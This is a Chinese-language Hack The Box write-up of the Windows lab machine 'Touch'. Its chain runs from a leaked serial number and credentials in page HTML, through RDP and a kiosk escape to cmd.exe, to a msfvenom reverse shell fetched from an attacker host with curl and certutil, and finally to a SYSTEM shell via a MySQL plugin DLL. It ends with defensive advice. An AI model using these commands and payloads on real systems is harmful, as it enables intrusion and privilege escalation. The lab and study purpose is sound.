[HTB] Touch 渗透测试笔记
本文仅记录 Hack The Box 授权靶场。IP、账号、设备与凭据均属于实验环境;flag 不在正文重复展示。
本文按实际探索顺序记录。图片上传、CVE 查询和预订查询均做过验证,但没有成为入口;这些未走通的分支也保留在文中,以说明证据如何改变后续方向。
靶机信息
| 项目 | 内容 |
|---|---|
| 平台 | Hack The Box |
| 靶机 | Touch |
| 难度 | Easy |
| 系统 | Windows |
| 初始实例 | 10.129.164.242 |
| 重启后的实例 | 10.129.169.42 |
| 完成情况 | 已取得 user.txt 和 root.txt |
靶机在练习中重新部署过。最初的端口扫描来自 10.129.164.242;后续 Web、RDP、kiosk 与提权操作在 10.129.169.42 上完成。

攻击路径
- 匿名
/api/status泄露 DeviceHub 序列号,序列号可作为默认设备密码。 - 已认证管理页把设备凭据直接写入前端 HTML 的
onclick参数,得到可用的KioskUserRDP 凭据。 - RDP 进入受限 kiosk 后,关闭设备触发错误处理,借由 Support 链接打开 Edge,再经
file:///启动本地cmd.exe。 - 以 KioskUser 获得反向 shell,从维护脚本中读取 MySQL root 凭据。
- MySQL80 以 LocalSystem 运行,且其
plugin_dir对当前用户可写;加载 DLL 后收到 SYSTEM shell。
命令约定:
TARGET_IP、ATTACKER_VPN_IP和MYSQL_ROOT_PASSWORD均为需替换的文本标签。MySQL 密码必须紧跟-p,即-pMYSQL_ROOT_PASSWORD中间不能有空格。
初始侦察
端口扫描
1 | nmap -sS -sV -p- -T4 \ |
初始实例暴露的服务为:
1 | 135/tcp open msrpc Microsoft Windows RPC |

3389 和 5985 只是 RDP/WinRM 的认证入口候选,尚不代表可以直接远程控制。调查重点因此落在 8443 的 Nexion DeviceHub。
登录页与 Badge 流程
登录页是 Nexion DocReader(DeviceHub DH-100 — Gate B7),提供 Device password 与 Scan Staff Badge 两条路径。Layover 中的 Jenny Crawford 和 KS7X2M 曾被当作候选线索,但没有直接构成设备密码或 Windows 凭据。

前端 scanBadge() 会发起无请求体的 POST /login/badge。正常点击得到:
1 | {"success":false,"error":"No badge detected"} |
HTTP 200 只表示服务正常处理了“没有检测到工牌”的业务请求;这次响应没有建立会话,也没有证明存在认证绕过。
API 枚举与 DeviceHub 登录
随机路径返回 302、长度 0,说明站点存在统一跳转基线。它不能表示所有路径不存在或都需要认证。根目录的 Gobuster 适合建立这一基线;本次需要递归检查 /api/ 时,改用支持 -d 深度参数的 Feroxbuster。
枚举排错与工具选择
- Gobuster 仅排除
404时,会把随机路径的302/0误认为有效响应而停止;加入--exclude-length 0后才可继续。 - FFUF 使用
-t 80 -timeout 5跑完 4614 个词条时出现 4599 个 errors。该结果只能说明大部分请求未得到可靠响应;尚未能将原因归为服务限速、高并发或 VPN。 - Feroxbuster 首次把互斥的
--auto-tune与--auto-bail同时传入,工具直接拒绝运行。修正后只保留--auto-tune。 - 早期曾把
/api的 403 过度解读为必须先找到认证响应头才可继续枚举。随后通过状态、方法和响应差异继续检查,证明该判断不成立。
1 | feroxbuster -u http://TARGET_IP:8443/api/ \ |

| 路径 | 观察结果 | 可得出的结论 |
|---|---|---|
/api | 403,35 bytes | 根 API 存在认证边界。 |
/api/scan | 405,30 bytes | 路由存在,但 GET 不是允许的方法。 |
/api/status | 200,116 bytes | 有匿名可读的状态接口。 |
/api 的内容是:
1 | {"error":"Authentication required"} |

而 GET /api/status 泄露了设备序列号:
1 | { |

登录页提示默认密码是设备包装中的 serial;使用该序列号后成功进入 /dashboard。

未成为入口的分支
图片上传与 Test Scan
/scanner 的 Upload Image 并非 multipart 上传,而是原始 JPEG 请求体:
1 | POST /api/scanner/test-image |
服务端返回:
1 | {"success":true,"message":"Document image set","size":196173,"hasMrz":false} |
Test Scan 返回 /api/scan/last-capture,其类型为 image/jpeg。先在正常 JPEG 中写入无害的 Exif 注释,再和回读文件比较:
图片处理链验证与一次排错
第一次执行 exiftool -o touch_probe.jpg -Comment='TOUCH-PROBE-20261108' normal.jpg 时,normal.jpg 不在当前目录,因此没有生成探针文件。改用实际存在的 HTB-Touch-test.JPEG 后完成上传与回读验证。
1 | sha256sum HTB-Touch-test.JPEG last-capture.jpeg |
两份文件 SHA-256 都是:
1 | a52153f24b45e275fea1560bf6813594973be2d775d6df5bf558d2db21c94520 |
两份文件也都保留 Comment: TOUCH-PROBE-20261108。

这证明该测试文件经上传、设置、扫描和回读后保持字节一致。它不能排除服务在后台做过只读解析,也不能证明存在可执行落地、解释器调用或 RCE,因此没有继续尝试向图片植入反向 shell。
版本、CVE 与 localhost
Settings 页的 Firmware 1.4.2 与 Nexion Systems Service v4.2.1 是不同层级的版本。页面只有 Nexion 品牌,无法证实它与 Milesight 的 CPE 映射,故 vendor:milesight AND product:devicehub 不能直接视作当前靶机的漏洞结论;还需逐个核对候选 CVE 的厂商、产品和 affected versions。
Return to Kiosk 指向 localhost:5173。从 Parrot 浏览器访问时,localhost 指向攻击机本身,只能作为管理端与 kiosk 前端可能分离的架构线索。
客户端凭据泄露与 RDP
Dashboard 中 Scanner、Printer 的用户名与密码表面被 •••••••• 遮住。前端的 toggleCred(id, val) 只是切换已经下发到浏览器的 val;实际调用点中存在类似内容:
1 | <span onclick="toggleCred('dpp1','DEVICE_PASSWORD')">show</span> |
这说明 show 是客户端掩码,不是受控的服务器端读取。页面泄露的 KioskUser 凭据随后用于 RDP:
1 | xfreerdp3 /v:TARGET_IP /u:KioskUser /p:'DEVICE_PASSWORD' \ |
首次少写了 /p: 中的冒号,导致 FreeRDP 报 Unexpected keyword;改正为 /p:'DEVICE_PASSWORD' 后认证通过。日志先出现 Logon Info V2 [KIOSK-042\\KioskUser],随后才出现 BIO_read ... system error 110,因此已经证明凭据有效,后续断流更符合 HTB VPN 或靶机传输链路波动。

预订编号分支没有成为入口:先出现过 CRAWDFORD 的拼写错误,修正为 CRAWFORD 后仍失败。当前证据不足以判断内部校验原因,因此没有继续猜测姓名或预订号。
Kiosk escape 与 KioskUser shell
DeviceHub 中关闭 Scanner 和 Printer 后,回到 kiosk 的 Staff Login/扫描流程触发了原生错误框:
1 | Nexion DocReader SR-4200 has stopped responding |
这里实际同时关闭了两台设备;没有单独验证哪一台是触发错误的必要条件。


Support 链接打开 Microsoft Edge。即使 Edge 无法访问外网,地址栏仍可处理本地 URI:
1 | file:///C:/Windows/System32/cmd.exe |


攻击机准备 payload、HTTP 服务和监听器时,三个动作位于不同终端:
攻击机终端一:生成与托管
1 | msfvenom -p windows/x64/shell_reverse_tcp \ |
攻击机终端二:监听
1 | nc -lvnp 4444 |
靶机 CMD:先验证连通性,再下载与执行
1 | curl.exe --noproxy "*" -v --connect-timeout 5 ^ |
初次 certutil 输出了 DNS/代理相关噪声,但 curl 对攻击机 HTTP 服务的验证请求已到达。之后 certutil 成功下载 kiosk.exe;HTTP 日志也记录到 GET /kiosk.exe。此前误用 dir "%TEMP%\kiosk.exe" 只是在检查文件,并不会执行 payload。


MySQL 插件 DLL 提权
枚举与前提
KioskUser 的令牌权限中没有直接可用的特权。自定义 Printer Administrators 组虽然存在,但也不等于可提权:
1 | whoami /priv |

C:\ProgramData\HTB Airways\refresh-dates.bat 含有 MySQL root 的命令行凭据:
1 | C:\MySQL\bin\mysql.exe -u root -pMYSQL_ROOT_PASSWORD < "C:\ProgramData\HTB Airways\refresh-dates.sql" 2>nul |

1 | "C:\MySQL\bin\mysql.exe" -u root -pMYSQL_ROOT_PASSWORD ^ |
结果建立了完整的加载前提:
- MySQL 身份为
root@localhost,plugin_dir是C:\MySQL\lib\plugin\; MySQL80的SERVICE_START_NAME是LocalSystem;- 插件目录包含
NT AUTHORITY\Authenticated Users:(I)(M),低权限用户可以写入 DLL。

下载与加载
攻击机终端一:生成并托管 DLL
1 | msfvenom -p windows/x64/shell_reverse_tcp \ |
攻击机终端二:监听
1 | nc -lvnp 5555 |

靶机 CMD:下载、确认,再请求 MySQL 加载
1 | curl.exe --noproxy "*" -f ^ |
曾将 curl 下载命令和 MySQL 命令误粘成一行,MySQL 因接收 --noproxy 报 unknown option '--noproxy'。按下载、文件检查、加载三个阶段拆开后,DLL 已写入 plugin 目录。


这次 CREATE FUNCTION 请求触发 MySQL 服务进程加载 DLL,5555 监听器收到 SYSTEM shell:
1 | whoami |

SYSTEM 回连证明 DLL 在服务进程加载阶段执行。实验中没有额外查询 UDF 元数据或调用 sys_exec(),因此不能仅据此断言该函数已被独立验证为可调用。
总结反思
Touch 没有依赖一个单独的 CVE,而是把多处不安全设计连成了一条链:匿名接口泄露序列号,序列号又被当作默认密码;认证后的前端继续下发 RDP 凭据;受限 kiosk 的异常处理可启动浏览器和本地程序;最后,明文数据库凭据、宽松的插件目录 ACL 与 LocalSystem 服务身份共同放大为 SYSTEM 代码执行。
这次最值得留下的,是每个分支应如何收束,而不是只记住最终利用命令:
| 当时的观察 | 这次记录留下的提醒 |
|---|---|
随机目录稳定返回 302/0 | 先建立响应基线。大量超时和错误率较高的扫描结果不能直接当作目录枚举结论。 |
/api 返回 403,/api/status 返回 200 | 同一命名空间内存在差异化访问控制;需要逐条用实际响应验证,而不能把一个路由的结果泛化到全部 API。 |
| 上传的 JPEG 回读后 hash 和 Exif 一致 | 只能证明该文件原样存取;没有看到解析或执行 sink 前,不能把上传成功写成 RCE。 |
| RDP 出现成功登录信息,随后传输超时 | 凭据已验证有效,问题发生在会话建立后;超时的具体根因仍需另行证据。 |
root@localhost、可写 plugin_dir 与 LocalSystem 服务同时成立 | 数据库权限、目录 ACL 与服务身份必须分别确认;三项缺一项都不能直接推出 SYSTEM 执行。 |
从防护角度看,设备序列号不应同时充当默认密码,设备和 RDP 凭据不应出现在 HTML 或 JavaScript 中。Kiosk 需要限制错误页、浏览器、file:// URI 与本地程序的调用链;MySQL 则应使用低权限服务账户、收紧 plugin_dir 的写权限,并从维护脚本中移除明文高权限密码。
参考与后续复习
后续复盘可按攻击链倒推:先解释为何 302/0 需要作为枚举基线,再区分“文件原样回读”和“文件被服务端解析”,然后梳理 kiosk 的 UI 限制为何没有覆盖浏览器与 URI 处理器,最后重新检查 MySQL 中“账户权限、文件系统 ACL、服务运行身份”三项前提如何共同决定影响范围。
知识点与阅读索引
这些资料用于补足原理。复习时建议先根据本文的证据独立说明判断,再针对卡住的部分查阅。
| 主题 | 复习时关注的问题 | 资料 |
|---|---|---|
| 枚举基线与响应差异 | 状态码、长度、跳转位置和超时分别能说明什么?何时应降低并发或改用定向枚举? | OWASP WSTG:信息收集 |
| 文件上传验证 | 文件类型校验、原样存储、元数据读取、内容解析与代码执行之间还隔着哪些步骤? | OWASP:File Upload Cheat Sheet |
| Windows kiosk 边界 | Assigned Access 与应用 allowlist 应如何限制浏览器、系统 URI 和异常处理程序? | Microsoft Learn:Kiosk configuration |
| Windows 服务与 ACL | 服务身份、继承权限与目录可写性如何组合成提权前提? | Microsoft Learn:icacls |
| MySQL 可加载函数 | plugin_dir、动态库加载和 SQL 权限各自承担什么作用? | MySQL 8.0:CREATE FUNCTION Statement |


![[HTB] Touch 渗透测试笔记](https://img.nuyoah.space/post/postcover/8fc66601-90ea-4fbe-82c2-2a7080a95ae6.png)
![[HTB] Cap 渗透测试笔记](https://img.nuyoah.space/post/postcover/cce3e506-fa7d-457f-ba65-d3b74d503510.png)
![[HTB] Management 渗透测试笔记](https://img.nuyoah.space/post/postcover/0a83fd14-514e-4d04-8781-46cd4c7939c9.png)